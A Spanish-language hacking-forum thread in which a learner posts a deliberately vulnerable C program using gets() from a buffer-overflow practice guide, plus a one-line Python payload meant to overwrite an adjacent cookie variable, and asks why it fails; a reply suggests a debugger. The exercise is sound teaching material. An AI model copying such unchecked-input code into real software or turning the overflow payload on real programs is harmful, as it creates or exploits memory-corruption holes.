Test Foro de elhacker.net SMF 2.1

Seguridad Informática => Hacking => Bugs y Exploits => Mensaje iniciado por: theowl en 14 Diciembre 2021, 23:27 PM

Título: Ayuda con exploit
Publicado por: theowl en 14 Diciembre 2021, 23:27 PM
Hola!

Estoy aprendiendo de forma autodidacta ensamblador y por cosas de la vida, llegué a un tutorial llamada "Guia para hacer exploits" Leí la teoría y había una práctica sobre desbordamiento de búfer.

El código que dan es este:

#include <stdio.h>

int main() {
        int cookie;
        char buf[80];
       
        printf("buf: %08x cookie: %08x\n", &buf, &cookie);
        gets(buf);

        if (cookie == 0x41424344)
                printf("you win!\n");
}

En la guia explican por qué la función gets() es vulnerable y explican como realizar un pequeño exploit para aprovecharse de la vulnerabilidad.

Este sería el exploit

python -c 'print ("A" * 80 + "\x44\x43\x42\x41")' | ./stack1

Mi pregunta es, porqué no se imprime la cadena "you win!" se supone que al hacer el desbordamiento por sobrepasar los 80 bytes se asigna "\x44\x43\x42\x41" a la variable cookie que es la que esta contigua al array buf dentro de la pila.

Lo irónico es que estoy siguiendo la guia, no se porque no me funciona.
dejo por aca la guia por si alguien quiere echarle un vistazo y darme una luz.
Gracias!

https://fundacion-sadosky.github.io/guia-escritura-exploits/buffer-overflow/1-practica.html
Título: Re: Ayuda con exploit
Publicado por: MCKSys Argentina en 15 Diciembre 2021, 07:56 AM
Hola!

Creo que lo mejor que puedes hacer en estos casos es usar un debugger y ver cómo va trabajando todo, paso a paso.

Saludos!